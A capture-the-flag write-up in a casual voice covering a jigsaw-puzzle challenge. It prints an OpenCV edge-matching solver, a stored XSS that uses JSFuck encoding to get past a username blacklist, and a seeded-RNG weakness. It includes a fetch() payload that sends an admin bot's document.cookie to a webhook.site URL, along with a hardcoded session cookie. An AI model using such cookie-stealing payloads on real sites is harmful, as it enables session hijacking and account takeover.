Just when we thought we had the system figured out, the authors straight up yeeted the crutch from underneath us: the reference image. The url field in the API response was some nonesense that led nowhere. We were essentially flying blind.
This challenge was a two-act play. First, solve a jigsaw puzzle with no picture on the box, that would award us with the source code for the platform. Second, use that source code to scout for a vulnerability that would yield us the flag.
Act I: CHAOOOOOSSS
The problem was simple: we had a bag of puzzle pieces and nothing else. The API provided the grid dimensions and the pieces, but no map.
The Madness Arc
For a brief, insanely unhinged moment, I considered a semi-manual approach. I built a Python script using OpenCV to create a GUI.
The idea was to display the piece needed for the current grid slot alongside a candidate piece from the unplaced pile. I could then cycle through candidates with my keyboard and confirm a match.
This seemed plausible for a small puzzle. But the API returned a 32x32 grid. That’s 1024 pieces. To place the second piece, I’d have to compare it against up to 1023 candidates. To place the third, 1022. The number of potential comparisons was astronomical! The GUI was a nice thought experiment, but insanely impractical. Manual solving was off the table.
The Algorithmic Solution
If a human can’t do it, make the computer thing do it better. The new strategy was to solve the puzzle based on local information alone: matching the edges of adjacent pieces.
The logic is pretty much greedy assembly algorithm:
Edge Extraction: First, iterate through all 1024 pieces and digitally “cut off” the pixel data for their top, bottom, left, and right edges. Store these in a dictionary for quick access.
Anchor Point: Assume piece 0 is the top-left corner. I booted up the GUI to place it there myself (it was hella tedious but I’m lazy lol). Aligh it at (0, 0).
Greedy Placement: Iterate through every other slot in the grid (left-to-right, top-to-bottom). For each empty slot, identify its placed neighbors (the piece above and the piece to the left).
Find the Best Fit: Compare the edges of every unplaced piece against the required edges of the neighbors. The “error” is the sum of absolute differences in pixel values between the edges. The piece with the lowest total error is declared the best match.
Assemble and Repeat: Place the best-fit piece into the grid, remove it from the unplaced pile, and move to the next slot.
This process builds the image piece by piece, relying on the (fingers crossed) faith that the lowest local error will lead to the correct global solution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| #...
for r in range(GRID_ROWS):
for c in range(GRID_COLS):
if solved_grid[r, c] != -1:
continue
best_match_idx = -1
min_error = float('inf')
# Get edges from already-placed neighbors
ref_top_edge = edges[solved_grid[r-1, c]]['bottom'] if r > 0 else None
ref_left_edge = edges[solved_grid[r, c-1]]['right'] if c > 0 else None
# Find the unplaced piece with the best matching edges
for candidate_idx in unplaced_indices:
candidate_edges = edges[candidate_idx]
total_error = 0
if ref_top_edge is not None:
total_error += np.sum(np.abs(ref_top_edge.astype(int) - candidate_edges['top'].astype(int)))
if ref_left_edge is not None:
total_error += np.sum(np.abs(ref_left_edge.astype(int) - candidate_edges['left'].astype(int)))
if total_error < min_error:
min_error = total_error
best_match_idx = candidate_idx
#...
|
Against all odds, this greedy approach worked flawlessly! The puzzle was solved, but it wasn’t that easy to just snatch the flag…
Act II: Persistent XSS
Solving the puzzle only gave us the key: The Source Code for the platform.
The lock was the user profile page. It became clear that the ultimate goal wasn’t just solving puzzles, but finding a vulnerability in the platform itself.
Vulnerability Analysis
One file in the source code admin.go hinted that an admin bot was constantly monitoring the scoreboard using a special admin cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| func OpenBrowser(uid int, adminCookie string) {
b, err := getBrowser()
if err != nil {
return
}
defer b.Close()
BASE_URL := config.Config.General.ApplicationURL
newPage := b.MustPage()
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(60*time.Second))
defer cancel()
page := newPage.Context(ctx)
err = page.SetCookies([]*proto.NetworkCookieParam{{
Name: "session",
Value: adminCookie,
Domain: strings.SplitAfter(BASE_URL, "://")[1],
Path: "/",
}})
if err != nil {
log.Infof("%s: %s", utils.ColorString("browser error", utils.RED), utils.ColorString(fmt.Sprint(err), utils.ORANGE))
}
err = rod.Try(func() {
page.MustNavigate(BASE_URL)
time.Sleep(2 * time.Second)
page.MustNavigate(BASE_URL + "/profile/" + fmt.Sprint(uid))
time.Sleep(10 * time.Second)
log.Infof("%s uid %s", utils.ColorString("finished browser for", utils.PURPLE), utils.ColorString(fmt.Sprint(uid), utils.HOT_PINK))
})
if errors.Is(err, context.DeadlineExceeded) {
log.Info(utils.ColorString("browser timed out", utils.RED))
} else if err != nil {
log.Infof("%s: %s", utils.ColorString("browser error", utils.RED), utils.ColorString(fmt.Sprint(err), utils.ORANGE))
}
}
|
Since the admin had “solved all the challenges” (except for the 5th one ๐), we could theoretically use the admin cookie to query /api/getflag for the, you know, flag :)
First of all, we needed to know how we could hijack the admin cookie in the first place, and suprise surprise, they highlighted it for us in sessions.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| func ValidateUsername(s string) (string, bool, error) {
asUpper := strings.ToUpper(s)
for _, c := range config.Config.General.UsernameBlacklist {
if strings.Contains(asUpper, c) {
return "", false, fmt.Errorf("%s", fmt.Sprintf("%s banned", c))
}
}
if len(s) > config.Config.General.MaxUsernameChars || len(s) < config.Config.General.MinUsernameChars {
return "", false, fmt.Errorf("%s", fmt.Sprintf("bad length %d", len(s)))
}
s = strings.ReplaceAll(s, "ยซ", "<") // no XSS until getting the source plz
s = strings.ReplaceAll(s, "ยป", ">")
if !isASCII(s) {
return "", false, fmt.Errorf("not ascii")
}
return s, true, nil
}
|
As soon as I read the word XSS I knew I had to call on some web players on my team for help
Shoutout to Colonneil and sebsrt !!
From the snipet above, it’s clear that the injection would have to go through the username field. It is not that easy though, there is a list for blacklisted characters in the username, a diabolical one!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| username_blacklist = [
"#",
"$",
"%",
"&",
"'",
"*",
",",
"-",
".",
"/",
":",
";",
"?",
"@",
"\\",
"^",
"_",
"`",
"{",
"|",
"}",
"~",
" ",
"\"",
"<",
">",
"SCRIPT",
]
|
We’re prtty lucky they allowed us to breathe at least xd.
In short, we have to use an XSS payload as our username without using a keyboard ๐
Before worrying about the payload, we need to understand under what circumstances the admin would read our username, and after some digging, we found this function under users.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| func (u *User) UpdateUserPoints() {
UsersLock.Lock()
defer UsersLock.Unlock()
userPoints := 1
for _, p := range u.Puzzles {
userPoints += p.GetStats().CalcPoints()
}
u.Points = userPoints
if userPoints > config.Config.General.VerifyPointsThreshold && !u.UserVerified {
u.UserVerified = true
go admin.OpenBrowser(u.UserID, AdminAccount.SessionToken)
log.Infof("%v: %s, %s", u, utils.ColorString("thats a lot of points", utils.BLUE), utils.ColorString("asking the admin to make sure everything's alright", utils.VIOLET))
}
}
|
There it is! the admin checks our profile page which has our username, duhh, if we pass a certain point threshold. He also does this once per user (specified by the !u.UserVerified check) after they pass the point threshold.
What is the threshold you may wonder? It’s 59686 points, which is oddly the number of points you get right after solving the puzzle 4 jigsaw… Do you see where this is going? ๐ฅฒ
If you though that we have to restart with a new user, set the name as the payload, and replay ALL PUZZLES, 1 THROUGH 4 ALL OVER AGAIN, you’re damn right!
Does it sound frustrating? Yes.
Is it frustrating? ABSOLUTELY FUCKING YES, but what can we do…
That was only a part of it though, we still have to find a way to bypass the billion checks on the username. Thankfully, one of my teammates pointed out something called JSFuck-encoding, brilliant name if you ask me.
What this essentially does is write JavaScript using only six characters: [, ], (, ), !, and +. It’s hideous and hella unreadable, but those are the only symbols allowed through the filtering.
I know > and < are also filtered out, but as you can see in the code snipped above they’re substituted by ยซ and ยป in the username validation, so we’re good.
The Plan
Create a new account with a malicious username.
This username would be a JSFuck-encoded payload.
The payload, when rendered on the profile page, would execute.
The script’s goal: grab the document.cookie of the admin bot when it checks our profile, and exfiltrate it to a webhook I control.
Here is the payload:
1
2
3
4
5
| // Decoded Payload:
fetch('https://webhook.site/e144c07a-92c5-4579-9e56-8c88bb3e3619?cookie='+document.cookie)
// JSFuck Encoded Payload (truncated for your sanity's sake):
ยซimg\nsrc=x\nonerror=[][(![]+[])[+!+[]]+...
|
With everything set in stone, I cleared my cookies, and set the new username (I had to do it through the endpoint /api/setname directly since the frontend also performs some checks, I think… I honestly forgor ๐)
So, I fired up my collection of solvers, plugged in the new session cookie for my XSS account, and endured the last 4 puzzles all over again.
About 30 minutes later, my webhook lit up with a new request. Inside the query parameters was the prize: the admin’s session cookie!
This obviously didn’t work on the first shot. Let’s ignore the fact that my first payload was wrong, and that I only realized it after reaching level 4 again, and that I had to re-restart… pain fr ๐ฅ
With the admin cookie, I can query /api/getflag directly for level 4, and we’re gucci!
Script
If you’re wondering, here’s the full script for the first part of the challenge
Click to expand solver code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
| import os
import time
import requests
import cv2
import numpy as np
import base64
import logging
BASE_URL = 'http://34.55.69.223:14001'
SESSION_COOKIE = 'mxyALe2gmk2lAYwX7PjP3YBxr3VW63sCu6RLnlOYuoNF7vzAQ_ySSycSOFe5spkv2mj70iqGfc2NbcWbuG6DggbME01xAQbSGGIZ6QV9UVESSNGNRneQqaUrwyz5yNN6nI9MKSoe-xYcSEAMHu0QbUsEqMTAfETN4QVuSxbMhjI='
logging.basicConfig(format='BIT> %(message)s', level=logging.INFO)
logger = logging.getLogger()
def get_puzzle_data(session):
"""Fetches a new puzzle from the API."""
logger.info("Requesting a new puzzle...")
try:
response = session.get(f"{BASE_URL}/api/newpuzzle")
response.raise_for_status()
data = response.json()
logger.info(f"Received puzzle: '{data['title']}' ({data['rows']}x{data['cols']})")
return data
except requests.exceptions.RequestException as e:
logger.error(f"Failed to get new puzzle: {e}")
return None
def submit_answer(session, puzzle_id, answer):
"""Submits the final answer to the API."""
logger.info("Submitting final answer to the API...")
try:
payload = {'puzzle_id': puzzle_id, 'answer': answer}
response = session.post(f"{BASE_URL}/api/checkanswer", json=payload)
response.raise_for_status()
result = response.json()
if result.get('correct'):
logger.info(f"๐ Puzzle Solved! Message: {result.get('winmessage', 'Success!')}")
else:
logger.error(f"API reported an incorrect answer: {result}")
except requests.exceptions.RequestException as e:
logger.error(f"Failed to submit answer: {e}")
def solve_automatically(puzzle_data, all_pieces):
"""
Solves the puzzle by computationally matching the edges of adjacent pieces.
"""
GRID_ROWS, GRID_COLS = puzzle_data['rows'], puzzle_data['cols']
num_pieces = len(all_pieces)
logger.info(f"Starting automated solver for a {GRID_ROWS}x{GRID_COLS} grid...")
solved_grid = np.full((GRID_ROWS, GRID_COLS), -1, dtype=int)
unplaced_indices = list(range(num_pieces))
piece_height, piece_width, _ = all_pieces[0].shape
edges = {}
for i, piece in enumerate(all_pieces):
edges[i] = {
'top': piece[0, :],
'bottom': piece[piece_height-1, :],
'left': piece[:, 0],
'right': piece[:, piece_width-1]
}
logger.info("All piece edges have been extracted.")
start_piece_idx = 0
solved_grid[0, 0] = start_piece_idx
unplaced_indices.remove(start_piece_idx)
logger.info("Assuming piece 0 is the top-left corner.")
for r in range(GRID_ROWS):
for c in range(GRID_COLS):
if solved_grid[r, c] != -1:
continue
best_match_idx = -1
min_error = float('inf')
ref_top_edge = None
if r > 0:
top_neighbor_idx = solved_grid[r-1, c]
ref_top_edge = edges[top_neighbor_idx]['bottom']
ref_left_edge = None
if c > 0:
left_neighbor_idx = solved_grid[r, c-1]
ref_left_edge = edges[left_neighbor_idx]['right']
for candidate_idx in unplaced_indices:
candidate_edges = edges[candidate_idx]
total_error = 0
if ref_top_edge is not None:
error_top = np.sum(np.abs(ref_top_edge.astype(int) - candidate_edges['top'].astype(int)))
total_error += error_top
if ref_left_edge is not None:
error_left = np.sum(np.abs(ref_left_edge.astype(int) - candidate_edges['left'].astype(int)))
total_error += error_left
if total_error < min_error:
min_error = total_error
best_match_idx = candidate_idx
if min_error == 0:
break
if best_match_idx != -1:
logger.info(f"Placing piece {best_match_idx} at ({r}, {c}) with error: {min_error}")
solved_grid[r, c] = best_match_idx
unplaced_indices.remove(best_match_idx)
if min_error > 0:
logger.warning(f"High error for match at ({r}, {c}). Solution may be incorrect.")
else:
logger.error(f"Could not find a matching piece for slot ({r}, {c}). Aborting.")
return None
logger.info("Puzzle assembly complete.")
return solved_grid.flatten().tolist()
if __name__ == '__main__':
session = requests.Session()
session.cookies.set('session', SESSION_COOKIE)
puzzle_data = get_puzzle_data(session)
if puzzle_data:
all_pieces = [cv2.imdecode(np.frombuffer(base64.b64decode(b64), np.uint8), cv2.IMREAD_COLOR) for b64 in puzzle_data['pieces']]
final_answer = solve_automatically(puzzle_data, all_pieces)
if final_answer:
logger.info(f"Final answer computed. Submitting...")
submit_answer(session, puzzle_data['puzzle_id'], final_answer)
else:
logger.error("Automated solving failed.")
|
Sadly no furry artwork this time around, just some cringe lines ๐
Puzzle 5
This will be a brief one as I haven’t solved it myself at the time, but after reading discussion on the ctf’s discord, It came to my attention that the solution was to exploit the server’s deterministic RNG to rearrange the last puzzle, revealing the flag.
Solving it the old-fashioned way is pretty much impossible, since the image is subdivided to 16,000 pieces, each spanning just a few pixels.
1
2
3
4
5
6
7
8
9
10
11
12
13
| u := &User{
Puzzles: make(map[string]*Puzzle),
SessionToken: sessionId,
Solves: make(map[int]int),
ImageOrders: make(map[int][]int),
UserID: int(binary.BigEndian.Uint32(userID[:4])),
RNG: rand.New(rand.NewSource(int64(binary.BigEndian.Uint64(userID[4:])))),
Points: 0,
Level: 0,
TotalSolves: 0,
CreatedTime: time.Now(),
UserVerified: false,
}
|
As you can see in the User object, the rng responsible for shuffling the image is derived directly from the userID, which we know!
The solution becomes trivial:
- Create a new user, again
- Note down the userID and write a go script to keep track of the rng state as you advance through the levels
- When you reach
level 5, use your synced up rng state to reverse the shuffling and put back the flag.
In my defense, I was super tired after solving level 4 so I didn’t even bother with this one. In hindsight, I deeply regret that but fuck it we ball ๐ค